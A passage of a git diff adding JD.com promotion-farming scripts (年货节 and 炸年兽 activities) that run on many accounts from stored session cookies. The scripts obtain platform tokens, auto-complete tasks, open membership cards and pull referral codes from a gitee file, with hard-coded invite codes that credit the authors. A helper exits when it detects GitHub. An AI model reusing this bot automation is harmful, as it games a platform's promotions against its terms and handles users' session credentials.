if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nh.js b/activity/jd_nh.js new file mode 100644 index 0000000..dbf53e2 --- /dev/null +++ b/activity/jd_nh.js @@ -0,0 +1,538 @@ +/* +京东年货节 +活动入口:https://lzdz-isv.isvjcloud.com/dingzhi/vm/template/activity/940531?activityId=dzvm210168869301 +用5000金币开盲盒必中200-300京豆,任务做完每天1000,5天换一次 +活动时间:2021年1月9日-2021年2月9日 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东年货节 +1 7 * * * jd_nh.js, tag=京东年货节, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "1 7 * * *" script-path=jd_nh.js,tag=京东年货节 + +===============Surge================= +京东年货节 = type=cron,cronexp="1 7 * * *",wake-system=1,timeout=3600,script-path=jd_nh.js + +============小火箭========= +京东年货节 = type=cron,script-path=jd_nh.js, cronexpr="1 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东年货节'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//const WebSocket = $.isNode() ? require('websocket').w3cwebsocket: SockJS; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message,helpInfo; +let shareUuid = '83c6d4a80e3447b78572124e1fc3aa7c' +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const ACT_ID = 'dzvm210168869301' +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await jdNh() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdNh() { + $.score = 0 + await getShareCode() + await getIsvToken() + await getIsvToken2() + await getActCk() + await getActInfo() + await getMyPing() + await getUserInfo() + await getActContent(false,shareUuid) + await getActContent(true) + if($.userInfo.score>=5000){ + console.log(`大于5000金币,去抽奖`) + await draw() + } + await showMsg(); +} + +function getShareCode() { + return new Promise(resolve => { + $.get({url:'https://gitee.com/shylocks/updateTeam/raw/main/jd_nh.json',headers:{ + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)' + }},(err,resp,data)=>{ + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + shareUuid = data['shareUuid'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body :'body=%7B%22to%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%5C%2Fdingzhi%5C%2Fvm%5C%2Ftemplate%5C%2Factivity%5C%2F940531%3FactivityId%3Ddzvm210168869301%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=11c092269dfa11a21fec29b3a844c752&st=1610417332242&sv=112', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config,async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=a65279303b19bf51c17e7dbfdea85dd3&st=1610417332632&sv=112', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config,async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏的Cookie +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("dingzhi/vm/template/activity/940531", `activityId=${ACT_ID}`), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + cookie = `${cookie};` + if($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie} ${ck.split(";")[0]};` + } + else{ + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie} ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏信息 +function getActInfo() { + return new Promise(resolve => { + $.post(taskPostUrl('dz/common/getSimpleActInfoVo', `activityId=${ACT_ID}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result) { + $.shopId = data.data.shopId + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + $.post(taskPostUrl('customer/getMyPing', `userId=${$.shopId}&token=${$.token2}&fromType=APP`), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result) { + $.pin = data.data.secretPin + cookie = `${cookie} AUTH_C_USER=${$.pin}` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + $.post(taskPostUrl('wxActionCommon/getUserInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`用户【${data.data.nickname}】信息获取成功`) + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + }else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getActContent(info=false, shareUuid = '') { + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/vm/template/activityContent', + `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${shareUuid}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + $.userInfo = data.data + $.actorUuid = $.userInfo.actorUuid + + if (!info) { + console.log(`您的好友助力码为${$.actorUuid}`) + console.log(`当前金币${$.userInfo.score}`) + for(let i of ['sign','mainActive','visitSku','allFollowShop','allAddSku','memberCard']){ + let task = data.data[i] + if(task.taskName==='浏览会场' || task.taskName==='浏览商品' + || task.taskName==='签到'){ + if (task.count < task.taskMax) { + console.log(`去做${task.taskName}任务`) + let res = await getTaskInfo(task.taskType) + for (let vo of res) { + await doTask(vo.type, vo.value) + await $.wait(500) + } + } + } else if(task.taskName ==='一键关注店铺' || task.taskName ==='一键开卡' // || task.taskName ==='一键加购' + ){ + if (task.count < task.taskMax){ + console.log(`去做${task.taskName}任务`) + let res = await getTaskInfo(task.taskType) + let vo = res[0] + await doTask(vo.type, vo.value) + await $.wait(500) + } + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 做任务 +function getTaskInfo(taskType, value) { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${value}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/vm/template/taskInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + resolve(data.data.data.data) + } else { + console.log(`任务完成失败,错误信息:${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} +// 完成任务 +function doTask(taskType, value) { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${value}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/vm/template/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`任务完成成功,获得${data.data.score}金币`) + $.score += data.data.score + } else { + console.log(`任务完成失败,错误信息:${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得金币${$.score}枚`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +//抽奖 +function draw() { + let body = `activityId=${ACT_ID}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.pin)}&drawValue=18` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/vm/template/start', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`抽奖成功,获得 ${data.data.drawInfo || '空气'}`) + message += `抽奖成功,获得 ${data.data.drawInfo || '空气'}` + } else { + console.log(`任务完成失败,错误信息:${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} +function taskUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} IsvToken=${$.isvToken};` + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian.js b/activity/jd_nian.js new file mode 100644 index 0000000..28c0e25 --- /dev/null +++ b/activity/jd_nian.js @@ -0,0 +1,1690 @@ +/* +京东炸年兽🧨 +活动时间:2021-1-18至2021-2-11 +暂不加入品牌会员 +地址 https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html +活动入口:京东app首页浮动窗口 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东炸年兽🧨 +0 9,12,20,21 * * * jd_nian.js, tag=京东炸年兽🧨, enabled=true + +================Loon============== +[Script] +cron "0 9,12,20,21 * * *" script-path=jd_nian.js,tag=京东炸年兽🧨 + +===============Surge================= +京东炸年兽🧨 = type=cron,cronexp="0 9,12,20,21 * * *",wake-system=1,timeout=3600,script-path=jd_nian.js + +============小火箭========= +京东炸年兽🧨 = type=cron,script-path=jd_nian.js, cronexpr="0 9,12,20,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东炸年兽🧨'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, superAssist = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `cgxZbDnLLbvT4kKFa2r4itMpof2y7_o@cgxZdTXtILLevwyYCwz65yWwCE8lGkr3bUNrT0h7kLPi4wxXS762i1R7_A0@cgxZdTXtIryM712cW1aougOBa8ZyzwDRObdr4-lyq7WPJbXwCd4EB76el1c@cgxZdTXtIL-L7FzMAQCqvap-CydslPKkAn5-YquhVOdq2fHQPxbVJ4pskHs`, + `cgxZbDnLLbvT4kKFa2r4itMpof2y7_o@cgxZdTXtILLevwyYCwz65yWwCE8lGkr3bUNrT0h7kLPi4wxXS762i1R7_A0@cgxZdTXtIryM712cW1aougOBa8ZyzwDRObdr4-lyq7WPJbXwCd4EB76el1c@cgxZdTXtIL-L7FzMAQCqvap-CydslPKkAn5-YquhVOdq2fHQPxbVJ4pskHs` +]; +const pkInviteCodes = [ + 'IgNWdiLGaPadvlqJQnnKp27-YpAvKvSYNTSkTGvZylf_0wcvqD9EMkohEN4@IgNWdiLGaPaZskfACQyhgLSpZWps-WtQEW3McibU@IgNWdiLGaPaAvmHPAQf769XqjJjMyRirPzN9-AS-WHY9Y_G7t9Cwe5gdiI2qEvDY@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hJTS2SQzU0vulL0fHeULJaIfgqHFd7f_ao@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hLRjZBAJLHzBpcl18AeskNYctp_8w', + 